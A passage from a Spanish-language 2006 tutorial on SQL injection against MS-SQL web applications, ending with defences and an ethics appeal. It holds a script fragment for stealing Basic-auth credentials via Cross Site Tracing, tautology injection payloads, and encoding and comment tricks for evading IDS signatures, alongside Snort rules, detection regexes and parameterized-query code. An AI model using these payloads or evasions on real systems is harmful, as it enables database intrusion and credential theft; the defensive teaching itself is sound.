str1.split("Authorization: Basic ");
str2=splitString[1];
str3=str2.match(/.*/)[0];
alert(str3);
Esta táctica también puede conocerse con el
nombre de: Cross Site Tracing (XST).
ACLARACIONES: Tales
modelos presentados corresponden a una serie de particularidades
exclusivas de DB y su correspondiente Sistema dinámico
"corriendo" sobre el Servidor MS-SQL predestinado. O sea, los
ejemplos (arriba publicados) deben adaptarse a su objetivo y,
como ya habéis de temer, puede que muchos de ellos se
comporten de una manera distinta e, incluso, que ni siquiera
surtan efecto.
Todo ello dependerá de La
Situación y el contexto que ustedes hayan escogido para
realizar (como quién dice: "de buena fe") sus prácticas
a favor de sus conocimientos aprendidos.
Por otra parte, no se han tomado
Escenarios de Pruebas para el desarrollo de
La Nota, debido a que por Internet mucho de ellos pueden ser
investigados según vuestros requerimientos
(necesidades+expectativas) y, así, excluir mi
Orientación Gral. en cuanto a aspectos Individuales;
aplicando lo conceptualmente visto aquí.
El resto: ¡Lo dejo a su
Criterio!
Ahora bien, pero… ¿Qué busco?
¿Cómo realizo la exploración? ¿Cómo
pruebo la efectividad de mi objetivo?
- ¿Qué busco?
- Páginas de Identidades y Autenticación de
Usuarios. - Formularios de Ingreso de Datos.
- URLs en donde se manipulen Valores y/o
Variables. - Portales Webs que utilicen programación
dinámica en sus aplicaciones (páginas). - Componentes que acepten ingresos de datos del
usuario; procesándolos de algún modo.
- ¿Cómo realizo la
exploración?
- En forma manual a través de
MetaBuscadores (Ejemplo: Google, Yahoo,
etcétera). - En forma automática/semi-automática con
Herramientas afines
(AppDetective, DataThief, Typhon III, NetTwister, OraScan,
Curl, TeleportPRO, Wget, Fuzzer, Spike, IPFront,
Etc.).
- ¿Cómo pruebo la efectividad de mi
objetivo?
- Ingresando el carácter " ‘ "
(Tick/Comilla Simple) en cada uno de los componentes
previamente reconocidos y observar el resultado obtenido en
cada caso. - Con los métodos que ofrecen
las utilidades preliminarmente programadas.
Entonces, en contramedida… ¿Cómo detecto
tales vulnerabilidades (fallas/errores) y consigo PROTEGERME de
ellas?
- Inspección del Modelo OSI a nivel de la Capa
de Aplicación (Layer 7). - Evasión por medio de la Inclusión de
Espacios en Blanco. - Evasión vía Fragmentación y Segmentación
TCP. - Implementación de Expresiones Regulares como
muestran los siguientes ejemplos:
- Regex de Detección Básica
(Meta-Caracteres MS-SQL Server)
/(%27)|(’)|(–)/ix
Donde:
i – No Case Sensitivity.
x – Ignorar Espacios en Blanco.
- Utilización de Regex Implementado en
SNORT
alert tcp $EXTERNAL_NET any ->
$HTTP_SERVERS $HTTP_PORTS
(msg:"SQL Injection –
Detección Aparente");
flow:to_server,established;uricontent:".pl";pcre:"/(%27)
|(')|(–)/ix";
classtype:Web-application-attack;
sid:9099; rev:5;)
- Acatamiento de Patrones en Diferentes Variantes y
Firmas, como se evidencia debajo:
'or1=1–
'or2>1–
En este caso, la constante es tan solo ‘OR.
Pero, la Lógica Booleana puede variar según la
situación.
- Uso del Nuevo Regex de Detección Básica
(Meta-Caracteres MS-SQL Server):
/w*((%27)|(’))((%6F)|o|(%4F))((%72)|r|(%52))/ix
Donde:
w* – Cero o más Caracteres Alfanuméricos
(Underscore).
(%6F)|o|( %4F))((%72)|r|(%52) – Diversas
Combinaciones de la palabra ‘or‘
(May/Min/Hex).
i – No Case Sensitivity.
x – Ignorar Espacios en Blanco.
- Evasión Básica utilizando Diferentes
Encoders:
Original:
'OR 1=1–
Unicode:
%27%4f%52%20%31%3d%31%2d%2d
Original:
select
[arroba][arroba]version
Hex Encode:
0x730065006c00650063007400200040004000760065007200730069006f006e00
- Configuración de Alertas Administrativas y
Cantidad de Firmas de Acceso en IDS/IPS (Sistemas de
Detección/Protección de Intrusos), especialmente en
aquellos que "corran" SSL. Aquí, unos
ejemplos:
OR 'loquesea' =
'loquesea'
OR 'loquesea' =
N'loquesea'
La inserción del Carácter ("N") le
notifica al Server MS-SQL que el siguiente String debe ser
tratado como Nvarchar.
OR 'loquesea' =
'loque'+'sea'
OR 'loquesea' LIKE
'loquesea'
OR 'loquesea' LIKE
'%'
OR 'loque%' >
'a'
OR 'loquesea' <
'z'
OR 'loquesea' BETWEEN 'A' AND
'Z'
Y… Como anuncia el dicho: "Hecha la Ley, Hecha la Trampa". Lo cual,
por cada firma inventada, una nueva técnica de
"escapatoria" es factible de ser llevada a cabo. Si bien una
posibilidad, es la de construir firmas genéricas, esto
trae aparejado el crecimiento exponencial de los "falsos
positivos".
- Cuestión de Interpretación sobre
"Espacios" y "Comentarios":
OR 'loquesea' =
'loquesea'
'/**/OR/**/1/**/ =
/**/1
UNION/**/SELECT
…
HAVING/**/1 = /**/1
- Inspección detallada del Ingreso de Datos en
Aplicaciones Webs Dinámicas (ejecutados sobre un Server).
A fin de asegurar que estos contengan SÓLO caracteres
aceptables antes de ser enviados al BackEnd. Algunos
paradigmas a tener en cuenta podrían ser los
siguientes:
- "Escape" de Comillas Simples.
- Delimitadores de Consultas (Punto -.- y
Punto y Coma -;-). - Delimitadores de Comentarios (— y
/*..*/). - Rechazo y/o Denegación de "Bads
Inputs". - Permisión de "Goods Inputs".
- Definición (extremadamente) Controlada en la
Declaración de los Tipos de Datos a utilizar (en tiempo
de diseño). - Aseguración en la Programación de
Código usado con Estándares y Normativas
Robustas/Estables. - Selección de una Idónea (Eficaz+Eficiente)
Metodología de Trabajo en
sus Desempeños. - Verificación en el "Control de Cambios" y
"Control de Versiones". - Utilización Ampliada de "Código Reusable"
(Ideologías provenientes de la Programación
OO). - Implementación de Rutinas Genéricas y de
Revisión de Código para Recursos Externos. - Disposición de Controles de Calidad y Testeos en el
Proceso de Desarrollo
para/con sus Proyectos. - Inserción de "Stored Procedures" (Proc. de
Almacenamiento) en la Invocación de Rutinas
Atípicas. - Realización de Actualizaciones Periódicas
de Seguridad y Auditorias del Esquema de
Seguridad. - Instalación, Configuración y Coordinación de
"Firewalls" (Cortafuegos) y "Border Routers"
(Fronteras). - Evite Almacenar Contraseñas (Passwords)
en Scripts Internos de sus Programas. - Respete y haga Respetar el Principio: "Menores
Privilegios". - Adecue una Política de Seguridad Apropiada
para/con Su Empresa. - Implemente "Ciclos de Revisión de Código" y
Utilice (dentro de lo posible) IPSec/SSL en lo
Suyo. - Remontarse al Lenguaje de Programación Elegido
para tal Labor y Desplegar Soluciones en ellos. Algunos
de los ejemplos serían los siguientes:
- PERL
Método "DBI::quote"
(Filtrado de Caracteres Especiales)
$query =
$sql->prepare
(
"SELECT * FROM usuarios WHERE nombre
= "
.
$sql->quote($nombre_usuario)
);
Método "placeholder"
(Comillado Automático de Bloqueos)
$query = $sql->prepare("SELECT *
FROM usuario WHERE nombre = ?");
$query->execute($nombre_usuario);
- PHP (Con MySQL)
Método
"mysql_real_escape_string" (Escape Real de Strings
Dañinos)
$query_result =
mysql_query
(
"SELECT * FROM usuarios WHERE nombre
= ""
.
mysql_real_escape_string($nombre_usuario)
.
"""
);
- JAVA
Método "PreparedStatement"
(Clase de Declaraciones Preparadas)
Connection con = (acquire
Connection)
PreparedStatement pstmt =
con.prepareStatement("SELECT * FROM usuarios WHERE nombre =
?");
pstmt.setString(1,
nombreUsuario);
ResultSet rset =
pstmt.executeQuery();
- .NET
Método "ADO.NET SqlCommand"
(Comando Proveedor de Seguridad MS-SQL)
using( SqlConnection con = (acquire
connection) ) {
con. Open();
using( SqlCommand cmd = new
SqlCommand("SELECT * FROM usuarios WHERE nombre = =
[arroba]nombreUsuario", con) ) {
cmd.Parameters.
Add("[arroba]nombreUsuario", nombreUsuario);
using( SqlDataReader rdr =
cmd.ExecuteReader() ){
…
}
}
}
Bueno… Como han de apreciar, lo aquí
manifestado es sólo una "Incursión al Camino de Buen
Aprendiz" que Ustedes deberán llevar consigo y a cabo. Es
decir, "abrirse" a otros flexibles casos prácticos, ejemplos
y/o modelos en cuestión de sus criterios de
clasificación, evaluación, conveniencias y
circunstancias de labor que se les presenten en La Vida Real
y… ¿¡Por qué no en "Sus Sueños"!? O
sea… ¡No se detengan con lo poco que Tengan!
¡Vayan en busca de Más!
Conclusión ("Al
Fin Llegamos a la Meta: ¿¡Lo
Logramos!?")
Entonces… Si una Aplicación Web
ejecutándose en un Servidor maniobrado con MS-SQL Server (u
otro SGBD equivalente) admite (valga la reiteración de
léxicos) SQL Injection, los riesgos a los que se enfrenta
son múltiples y variados. Por ende, teniendo control sobre
la DB es posible realizar consultas, modificaciones,
eliminaciones o inserciones de datos que, tal vez, no tengan
límite coherente entre la magnitud de acciones que realiza el
agresor contra su (ya aniquilada) posibilidad de defensa frente a
tales inconvenientes; dejándolos (a Uds. y su Sistema) en
deplorables condiciones de subsistencia.
Por lo tanto, para compendiar los aspectos conceptuales
del ataque por SQL Injection nombraremos las
características que le permiten al "dialecto" (lenguaje) SQL
la dotación flexible de tales maniobras:
- Poder embeber comentarios en una sentencia
SQL. - Poder escribir y (a la vez) ejecutar múltiples
sentencias como si sólo fueran una. - Poder realizar consultas de MetaDatos por medio de
"Tablas de Sistema". - Poder convertir (implícitamente) los tipos de
datos manejados en su DB. - Poder comunicar (a través de sus Mensajes de
Error) demasiada/excesiva información
"delicada".
Por tales motivos, cualquier Sistema de Gestión de
Base de Datos (SGBD) que entiende SQL (llámese Oracle, DB2,
MS-SQL Server, MySQL, PostgreSQL, entre otros tantos rondando en
vuestros ámbitos) es susceptible a recibir un ataque de este
tipo a través de sus Aplicaciones (ya sean en Consola,
Windows o Web, e independiente
de la plataforma de desarrollo con la que fue elaborada) con un
simple Navegador de Internet a disposición.
Los Ataques por SQL Injection son realmente
peligrosos, no únicamente por la capacidad de daño que
conllevan, sino porque son vulnerabilidades que muchos
programadores no corrigen a tiempo (ni se preocupan, a
posteriori, de hacerlo). Es decir, que todo ello se basa sobre
los pilares del tan renombrado y cierto (como aterrador)
Factor Humano. Por ello, espero que esta Nota, más
que para propiciar el uso de este tipo de embates, sirva para
prevenirlos de una posible y, tal vez, futura "Guerra Digital".
Pero, siendo así, en resumen: ¿Cómo y de
qué manera me protejo?
La Solución al SQL Injection reside en una
consistente y absoluta revisión y/o confrontación
profesionalmente idónea de todos los parámetros y
cuestiones dirigidas a las Bases de Datos y la
Programación/Diseño con respecto a su
hábitat. Por ende, es
preciso estar al día en materia de Seguridad
Informática para controlar las Nuevas Técnicas de
Inyecciones SQL que surgen continuamente (al paso del
tiempo); indudablemente, más perfeccionadas y difíciles
de combatir (nótese que no incluí la mera probabilidad de un
imposible).
Asimismo, como acotación final a los lectores, un
Ruego Personal: Si intentan reproducir
lo aquí propuesto, comprueben (únicamente) alguno de
los primeros ataques no tan nocivos, y participen del aviso (en
forma urgente) a las Organizaciones que tengan este
tipo de vulnerabilidades con su modo de ser explotadas. Sepan que
"Jugar con la Seguridad" y causar daños de esta índole
(y otras análogas) puede afectar seriamente La Vida Real de
los Profesionales o las Empresas que han cumplido dichas
Aspiraciones (Proyectos Desarrollados); sin resguardo
alguno.
Por lo tanto, seamos PERSONAS (por sobre todo)
ÉTICAS y con USO DE RAZÓN MORAL-SOCIAL.
Porque… ¿Quién sabe? Tal vez, el
Día de Mañana podamos ser nosotros los
Atacados.
Y… Recuerden Siempre para Nunca
Jamás Olvidar:
"LA SEGURIDAD INFORMÁTICA NO
ES UN PRODUCTO SINO UN PROCESO".-
Enlaces de Interés
(¡En Internet!):
- http://es.wikipedia.org/wiki/Base_de_datos
Conceptos y fundamentos incipientes sobre Base de
Datos (Novatos).
- http://es.wikipedia.org/wiki/SQL
Contenidos (en amplio espectro) sobre el Lenguaje de
Consultas Estructurado (SQL).
¿Qué Sistema de Gestión de Base de
Datos (SGBD) es más conveniente para nuestros
propósitos?
Investigador y Asesor en Seguridad Informática
sobre Base de Datos (David Litchfield).
Especialista en Seguridad Informática con amplia
trayectoria y experiencia en tales temas.
Recomendable Portal Web sobre Seguridad
Informática en todos los niveles (para
todos).
Técnicas de ataque en Servidores Web con Scripts
vía Inyección SQL.
Ataques Avanzados de Inyección
SQL.
Aplicaciones Web e Inyección SQL.
Inyección SQL: Modos de Ataque, Defensa y Por
qué sucede. Escrito por: Stuart McDonald.
Ataques a Servers SQL: Hacking, Cracking, y
Técnicas de Protección. Hecho Por: S.Fogie/C.
Peikari.
Detén los ataques de Inyección SQL antes de
que ellos te detengan a ti. Escrito Por: Paul
Litwin.
SQL Injection: ¿Es Vulnerable Su Aplicación
Web en el Servidor? Escrito Por: Kevin Spett.
Portal Web sobre la Seguridad SQL.
EOF
(End Of File)
… SERÁ HASTA UN
PRÓXIMO ENCUENTRO …
(ENTRE VOS, LA AUTÉNTICA
INFORMACIÓN, Y YO)
{MIS CORDIALES SALUDOS
}
Nota Realizada Por:
Argentero, Cristián D.
Estudiante de las
"TICs (Tecnologías de la Información y
Comunicaciones)"
© Registered COPYRIGHT ©
Nota Declarada de Exclusividad Para La Editorial:
"Software Wydawnictwo"
Domingo, 26 de noviembre de 2006
22:42:58 HS.
 Página anterior | Volver al principio del trabajo | Página siguiente  |